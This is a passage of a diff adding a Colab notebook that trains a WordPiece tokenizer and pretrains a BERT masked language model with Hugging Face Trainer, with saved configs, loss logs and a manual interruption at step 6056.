+        "max_length = 512\n",
+        "# whether to truncate\n",
+        "truncate_longer_samples = False"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "-CVoZ3bC_j6K"
+      },
+      "outputs": [],
+      "source": [
+        "# initialize the WordPiece tokenizer\n",
+        "tokenizer = BertWordPieceTokenizer()\n",
+        "# train the tokenizer\n",
+        "tokenizer.train(files=files, vocab_size=vocab_size, special_tokens=special_tokens)\n",
+        "# enable truncation up to the maximum 512 tokens\n",
+        "tokenizer.enable_truncation(max_length=max_length)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "vix0oz7XzI_w"
+      },
+      "outputs": [],
+      "source": [
+        "model_path = \"pretrained-bert\"\n",
+        "# make the directory if not already there\n",
+        "if not os.path.isdir(model_path):\n",
+        "  os.mkdir(model_path)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "vmeI9Vgx06VB",
+        "outputId": "5ce209ce-dd99-45a0-ed54-f42124be7305"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/plain": [
+              "['pretrained-bert/vocab.txt']"
+            ]
+          },
+          "execution_count": null,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "# save the tokenizer  \n",
+        "tokenizer.save_model(model_path)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "d-HZAthp0SNk"
+      },
+      "outputs": [],
+      "source": [
+        "# dumping some of the tokenizer config to config file, \n",
+        "# including special tokens, whether to lower case and the maximum sequence length\n",
+        "with open(os.path.join(model_path, \"config.json\"), \"w\") as f:\n",
+        "  tokenizer_cfg = {\n",
+        "      \"do_lower_case\": True,\n",
+        "      \"unk_token\": \"[UNK]\",\n",
+        "      \"sep_token\": \"[SEP]\",\n",
+        "      \"pad_token\": \"[PAD]\",\n",
+        "      \"cls_token\": \"[CLS]\",\n",
+        "      \"mask_token\": \"[MASK]\",\n",
+        "      \"model_max_length\": max_length,\n",
+        "      \"max_len\": max_length,\n",
+        "  }\n",
+        "  json.dump(tokenizer_cfg, f)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "OkJ_tU4B0jNf",
+        "outputId": "a632ee1e-b82d-4967-a83b-7ed4a70333c3"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n",
+            "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n",
+            "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n",
+            "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n",
+            "loading file pretrained-bert/vocab.txt\n",
+            "loading file None\n",
+            "loading file None\n",
+            "loading file None\n",
+            "loading file None\n",
+            "loading configuration file pretrained-bert/config.json\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"pretrained-bert\",\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"cls_token\": \"[CLS]\",\n",
+            "  \"do_lower_case\": true,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"mask_token\": \"[MASK]\",\n",
+            "  \"max_len\": 512,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_max_length\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"pad_token\": \"[PAD]\",\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"sep_token\": \"[SEP]\",\n",
+            "  \"transformers_version\": \"4.18.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"unk_token\": \"[UNK]\",\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 30522\n",
+            "}\n",
+            "\n",
+            "loading configuration file pretrained-bert/config.json\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"pretrained-bert\",\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"cls_token\": \"[CLS]\",\n",
+            "  \"do_lower_case\": true,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"mask_token\": \"[MASK]\",\n",
+            "  \"max_len\": 512,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_max_length\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"pad_token\": \"[PAD]\",\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"sep_token\": \"[SEP]\",\n",
+            "  \"transformers_version\": \"4.18.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"unk_token\": \"[UNK]\",\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 30522\n",
+            "}\n",
+            "\n"
+          ]
+        }
+      ],
+      "source": [
+        "# when the tokenizer is trained and configured, load it as BertTokenizerFast\n",
+        "tokenizer = BertTokenizerFast.from_pretrained(model_path)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true,
+          "base_uri": "https://localhost:8080/",
+          "height": 66,
+          "referenced_widgets": [
+            "c3a30fb959aa47f889692b518b2c1664",
+            "bed4e885cf5d4b82a38833820b8e118f",
+            "4589cb842c7842ddb0e9bca6db71d590",
+            "3748fb75842f4392b40fbfab0b7c9caa",
+            "938c3b47fef24ad48b0ace7e7dcfcd80",
+            "f10afe04e61d4edeb33d8907a1192891",
+            "d84d85ce2d3f4dd491a44b97e653e175",
+            "54b4cf2d58ba4f87aec5070dbd1ff801",
+            "bc97183430e34db4b073305ce07d6f41",
+            "c082e56c91ce4bb4a4bb1e0b0001eaa2",
+            "6c082c2cd59f483981b4839dff47e071",
+            "62fe563ea6a74aa59833ce78423213da"
+          ]
+        },
+        "id": "sYw3cjdQ0pHT",
+        "outputId": "277e31b9-2391-4538-d02d-4458e23f3100"
+      },
+      "outputs": [
+        {
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "c3a30fb959aa47f889692b518b2c1664",
+              "version_major": 2,
+              "version_minor": 0
+            },
+            "text/plain": [
+              "  0%|          | 0/638 [00:00, ?ba/s]"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        },
+        {
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "bed4e885cf5d4b82a38833820b8e118f",
+              "version_major": 2,
+              "version_minor": 0
+            },
+            "text/plain": [
+              "  0%|          | 0/71 [00:00, ?ba/s]"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "def encode_with_truncation(examples):\n",
+        "  \"\"\"Mapping function to tokenize the sentences passed with truncation\"\"\"\n",
+        "  return tokenizer(examples[\"text\"], truncation=True, padding=\"max_length\",\n",
+        "                   max_length=max_length, return_special_tokens_mask=True)\n",
+        "\n",
+        "def encode_without_truncation(examples):\n",
+        "  \"\"\"Mapping function to tokenize the sentences passed without truncation\"\"\"\n",
+        "  return tokenizer(examples[\"text\"], return_special_tokens_mask=True)\n",
+        "\n",
+        "# the encode function will depend on the truncate_longer_samples variable\n",
+        "encode = encode_with_truncation if truncate_longer_samples else encode_without_truncation\n",
+        "\n",
+        "# tokenizing the train dataset\n",
+        "train_dataset = d[\"train\"].map(encode, batched=True)\n",
+        "# tokenizing the testing dataset\n",
+        "test_dataset = d[\"test\"].map(encode, batched=True)\n",
+        "\n",
+        "if truncate_longer_samples:\n",
+        "  # remove other columns and set input_ids and attention_mask as PyTorch tensors\n",
+        "  train_dataset.set_format(type=\"torch\", columns=[\"input_ids\", \"attention_mask\"])\n",
+        "  test_dataset.set_format(type=\"torch\", columns=[\"input_ids\", \"attention_mask\"])\n",
+        "else:\n",
+        "  # remove other columns, and remain them as Python lists\n",
+        "  test_dataset.set_format(columns=[\"input_ids\", \"attention_mask\", \"special_tokens_mask\"])\n",
+        "  train_dataset.set_format(columns=[\"input_ids\", \"attention_mask\", \"special_tokens_mask\"])"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true,
+          "base_uri": "https://localhost:8080/",
+          "referenced_widgets": [
+            "50163d0ddc164a139121adf8f9310e36",
+            "40d2d394b8c24beaaa485d7c30dac2ac",
+            "6a02439ddba246679fb53b91ccca4d2c",
+            "1b57fe0adf5641ddb23713fa97cf28b6",
+            "f36b2a7aa3944a5e856e5b17d286a488",
+            "362fe85f7741438995a52ea0c85e6474"
+          ]
+        },
+        "id": "5Pe5ZkpvVBl1",
+        "outputId": "66a22a43-cc27-48e8-aa92-0f08a76cb48f"
+      },
+      "outputs": [
+        {
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "50163d0ddc164a139121adf8f9310e36",
+              "version_major": 2,
+              "version_minor": 0
+            },
+            "text/plain": [
+              "Grouping texts in chunks of 512:   0%|          | 0/638 [00:00, ?ba/s]"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        },
+        {
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "362fe85f7741438995a52ea0c85e6474",
+              "version_major": 2,
+              "version_minor": 0
+            },
+            "text/plain": [
+              "Grouping texts in chunks of 512:   0%|          | 0/71 [00:00, ?ba/s]"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "from itertools import chain\n",
+        "# Main data processing function that will concatenate all texts from our dataset and generate chunks of\n",
+        "# max_seq_length.\n",
+        "# grabbed from: https://github.com/huggingface/transformers/blob/main/examples/pytorch/language-modeling/run_mlm.py\n",
+        "def group_texts(examples):\n",
+        "    # Concatenate all texts.\n",
+        "    concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()}\n",
+        "    total_length = len(concatenated_examples[list(examples.keys())[0]])\n",
+        "    # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can\n",
+        "    # customize this part to your needs.\n",
+        "    if total_length >= max_length:\n",
+        "        total_length = (total_length // max_length) * max_length\n",
+        "    # Split by chunks of max_len.\n",
+        "    result = {\n",
+        "        k: [t[i : i + max_length] for i in range(0, total_length, max_length)]\n",
+        "        for k, t in concatenated_examples.items()\n",
+        "    }\n",
+        "    return result\n",
+        "\n",
+        "# Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a\n",
+        "# remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value\n",
+        "# might be slower to preprocess.\n",
+        "#\n",
+        "# To speed up this part, we use multiprocessing. See the documentation of the map method for more information:\n",
+        "# https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map\n",
+        "if not truncate_longer_samples:\n",
+        "  train_dataset = train_dataset.map(group_texts, batched=True,\n",
+        "                                    desc=f\"Grouping texts in chunks of {max_length}\")\n",
+        "  test_dataset = test_dataset.map(group_texts, batched=True,\n",
+        "                                  desc=f\"Grouping texts in chunks of {max_length}\")\n",
+        "  # convert them from lists to torch tensors\n",
+        "  train_dataset.set_format(\"torch\")\n",
+        "  test_dataset.set_format(\"torch\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "dZ0oYZbk-SSh",
+        "outputId": "bf5b60bb-917a-42b9-eba8-531fa86df0f9"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/plain": [
+              "(643843, 71357)"
+            ]
+          },
+          "execution_count": null,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "len(train_dataset), len(test_dataset)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "Mslndt81024t"
+      },
+      "outputs": [],
+      "source": [
+        "# initialize the model with the config\n",
+        "model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length)\n",
+        "model = BertForMaskedLM(config=model_config)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "kmFCTByJ1OI3"
+      },
+      "outputs": [],
+      "source": [
+        "# initialize the data collator, randomly masking 20% (default is 15%) of the tokens for the Masked Language\n",
+        "# Modeling (MLM) task\n",
+        "data_collator = DataCollatorForLanguageModeling(\n",
+        "    tokenizer=tokenizer, mlm=True, mlm_probability=0.2\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "IKJdnkAd1uYT",
+        "outputId": "81928d26-95d6-4805-a180-683af3a88a2e"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "using `logging_steps` to initialize `eval_steps` to 1000\n",
+            "PyTorch: setting up devices\n",
+            "The default value for the training argument `--report_to` will change in v5 (from all installed integrations to none). In v5, you will need to use `--report_to all` to get the same behavior as now. You should start updating your code and make this info disappear :-).\n"
+          ]
+        }
+      ],
+      "source": [
+        "training_args = TrainingArguments(\n",
+        "    output_dir=model_path,          # output directory to where save model checkpoint\n",
+        "    evaluation_strategy=\"steps\",    # evaluate each `logging_steps` steps\n",
+        "    overwrite_output_dir=True,      \n",
+        "    num_train_epochs=10,            # number of training epochs, feel free to tweak\n",
+        "    per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits\n",
+        "    gradient_accumulation_steps=8,  # accumulating the gradients before updating the weights\n",
+        "    per_device_eval_batch_size=64,  # evaluation batch size\n",
+        "    logging_steps=1000,             # evaluate, log and save model checkpoints every 1000 step\n",
+        "    save_steps=1000,\n",
+        "    # load_best_model_at_end=True,  # whether to load the best model (in terms of loss) at the end of training\n",
+        "    # save_total_limit=3,           # whether you don't have much space so you let only 3 model weights saved in the disk\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "background_save": true
+        },
+        "id": "OMKVmXZN2o7c"
+      },
+      "outputs": [],
+      "source": [
+        "# initialize the trainer and pass everything to it\n",
+        "trainer = Trainer(\n",
+        "    model=model,\n",
+        "    args=training_args,\n",
+        "    data_collator=data_collator,\n",
+        "    train_dataset=train_dataset,\n",
+        "    eval_dataset=test_dataset,\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 21,
+      "metadata": {
+        "id": "HYsgN58E2tFD",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 1000
+        },
+        "outputId": "bd4a522a-4fd4-4d4f-fce6-a9fc0cb4cbef"
+      },
+      "outputs": [
+        {
+          "metadata": {
+            "tags": null
+          },
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "The following columns in the training set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "/usr/local/lib/python3.7/dist-packages/transformers/optimization.py:309: FutureWarning: This implementation of AdamW is deprecated and will be removed in a future version. Use the PyTorch implementation torch.optim.AdamW instead, or set `no_deprecation_warning=True` to disable this warning\n",
+            "  FutureWarning,\n",
+            "***** Running training *****\n",
+            "  Num examples = 643843\n",
+            "  Num Epochs = 10\n",
+            "  Instantaneous batch size per device = 10\n",
+            "  Total train batch size (w. parallel, distributed & accumulation) = 80\n",
+            "  Gradient Accumulation steps = 8\n",
+            "  Total optimization steps = 80480\n"
+          ]
+        },
+        {
+          "data": {
+            "text/html": [
+              "\n",
+              "    \n",
+              "      \n",
+              "      
\n",
+              "      [ 6001/80480 10:33:18 < 131:02:39, 0.16 it/s, Epoch 0.75/10]\n",
+              "    
\n",
+              "  \n",
+              " \n",
+              "      Step \n",
+              "      Training Loss \n",
+              "      Validation Loss \n",
+              "     \n",
+              "   \n",
+              "  \n",
+              "    \n",
+              "      1000 \n",
+              "      6.860800 \n",
+              "      6.550845 \n",
+              "     \n",
+              "    \n",
+              "      2000 \n",
+              "      6.518700 \n",
+              "      6.451167 \n",
+              "     \n",
+              "    \n",
+              "      3000 \n",
+              "      6.431700 \n",
+              "      6.387487 \n",
+              "     \n",
+              "    \n",
+              "      4000 \n",
+              "      6.376600 \n",
+              "      6.341373 \n",
+              "     \n",
+              "    \n",
+              "      5000 \n",
+              "      6.332300 \n",
+              "      6.307063 \n",
+              "     \n",
+              "   \n",
+              "
\n",
+              "    
\n",
+              "      \n",
+              "      
\n",
+              "      [ 356/1115 07:19 < 15:40, 0.81 it/s]\n",
+              "    
"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        },
+        {
+          "metadata": {
+            "tags": null
+          },
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "The following columns in the evaluation set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 71357\n",
+            "  Batch size = 64\n",
+            "Saving model checkpoint to pretrained-bert/checkpoint-1000\n",
+            "Configuration saved in pretrained-bert/checkpoint-1000/config.json\n",
+            "Model weights saved in pretrained-bert/checkpoint-1000/pytorch_model.bin\n",
+            "The following columns in the evaluation set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 71357\n",
+            "  Batch size = 64\n",
+            "Saving model checkpoint to pretrained-bert/checkpoint-2000\n",
+            "Configuration saved in pretrained-bert/checkpoint-2000/config.json\n",
+            "Model weights saved in pretrained-bert/checkpoint-2000/pytorch_model.bin\n",
+            "The following columns in the evaluation set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 71357\n",
+            "  Batch size = 64\n",
+            "Saving model checkpoint to pretrained-bert/checkpoint-3000\n",
+            "Configuration saved in pretrained-bert/checkpoint-3000/config.json\n",
+            "Model weights saved in pretrained-bert/checkpoint-3000/pytorch_model.bin\n",
+            "The following columns in the evaluation set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 71357\n",
+            "  Batch size = 64\n",
+            "Saving model checkpoint to pretrained-bert/checkpoint-4000\n",
+            "Configuration saved in pretrained-bert/checkpoint-4000/config.json\n",
+            "Model weights saved in pretrained-bert/checkpoint-4000/pytorch_model.bin\n",
+            "The following columns in the evaluation set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 71357\n",
+            "  Batch size = 64\n",
+            "Saving model checkpoint to pretrained-bert/checkpoint-5000\n",
+            "Configuration saved in pretrained-bert/checkpoint-5000/config.json\n",
+            "Model weights saved in pretrained-bert/checkpoint-5000/pytorch_model.bin\n",
+            "The following columns in the evaluation set  don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`,  you can safely ignore this message.\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 71357\n",
+            "  Batch size = 64\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              ""
+            ],
+            "text/html": [
+              "\n",
+              "    \n",
+              "      \n",
+              "      
\n",
+              "      [ 6056/80480 11:01:09 < 135:27:46, 0.15 it/s, Epoch 0.75/10]\n",
+              "    
\n",
+              "  \n",
+              " \n",
+              "      Step \n",
+              "      Training Loss \n",
+              "      Validation Loss \n",
+              "     \n",
+              "   \n",
+              "  \n",
+              "    \n",
+              "      1000 \n",
+              "      6.860800 \n",
+              "      6.550845 \n",
+              "     \n",
+              "    \n",
+              "      2000 \n",
+              "      6.518700 \n",
+              "      6.451167 \n",
+              "     \n",
+              "    \n",
+              "      3000 \n",
+              "      6.431700 \n",
+              "      6.387487 \n",
+              "     \n",
+              "    \n",
+              "      4000 \n",
+              "      6.376600 \n",
+              "      6.341373 \n",
+              "     \n",
+              "    \n",
+              "      5000 \n",
+              "      6.332300 \n",
+              "      6.307063 \n",
+              "     \n",
+              "    \n",
+              "      6000 \n",
+              "      6.298900 \n",
+              "      6.275374 \n",
+              "     \n",
+              "   \n",
+              "
"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "Saving model checkpoint to pretrained-bert/checkpoint-6000\n",
+            "Configuration saved in pretrained-bert/checkpoint-6000/config.json\n",
+            "Model weights saved in pretrained-bert/checkpoint-6000/pytorch_model.bin\n"
+          ]
+        },
+        {
+          "output_type": "error",
+          "ename": "KeyboardInterrupt",
+          "evalue": "ignored",
+          "traceback": [
+            "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m",
+            "\u001b[0;31mKeyboardInterrupt\u001b[0m                         Traceback (most recent call last)",
+            "\u001b[0;32m\u001b[0m in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[1;32m      1\u001b[0m \u001b[0;31m# train the model\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 2\u001b[0;31m \u001b[0mtrainer\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtrain\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
+            "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtrain\u001b[0;34m(self, resume_from_checkpoint, trial, ignore_keys_for_eval, **kwargs)\u001b[0m\n\u001b[1;32m   1420\u001b[0m                         \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m   1421\u001b[0m                 \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1422\u001b[0;31m                     \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m   1423\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m   1424\u001b[0m                 if (\n",
+            "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtraining_step\u001b[0;34m(self, model, inputs)\u001b[0m\n\u001b[1;32m   2027\u001b[0m             \u001b[0mloss\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdeepspeed\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mloss\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m   2028\u001b[0m         \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 2029\u001b[0;31m             \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m   2030\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m   2031\u001b[0m         \u001b[0;32mreturn\u001b[0m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdetach\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n",
+            "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/_tensor.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(self, gradient, retain_graph, create_graph, inputs)\u001b[0m\n\u001b[1;32m    361\u001b[0m                 \u001b[0mcreate_graph\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m    362\u001b[0m                 inputs=inputs)\n\u001b[0;32m--> 363\u001b[0;31m         \u001b[0mtorch\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mautograd\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgradient\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m    364\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m    365\u001b[0m     \u001b[0;32mdef\u001b[0m \u001b[0mregister_hook\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mhook\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n",
+            "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/autograd/__init__.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(tensors, grad_tensors, retain_graph, create_graph, grad_variables, inputs)\u001b[0m\n\u001b[1;32m    173\u001b[0m     Variable._execution_engine.run_backward(  # Calls into the C++ engine to run the backward pass\n\u001b[1;32m    174\u001b[0m         \u001b[0mtensors\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgrad_tensors_\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 175\u001b[0;31m         allow_unreachable=True, accumulate_grad=True)  # Calls into the C++ engine to run the backward pass\n\u001b[0m\u001b[1;32m    176\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m    177\u001b[0m def grad(\n",
+            "\u001b[0;31mKeyboardInterrupt\u001b[0m: "
+          ]
+        }
+      ],
+      "source": [
+        "# train the model\n",
+        "trainer.train()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 25,
+      "metadata": {
+        "id": "dUZSRAxV2vp-",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "9aac4c86-199d-4ba3-9b79-614ba8c97fe1"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "loading configuration file pretrained-bert/checkpoint-6000/config.json\n",
+            "Model config BertConfig {\n",
+            "  \"architectures\": [\n",
+            "    \"BertForMaskedLM\"\n",
+            "  ],\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"hidden_act\": \"gelu\",\n",
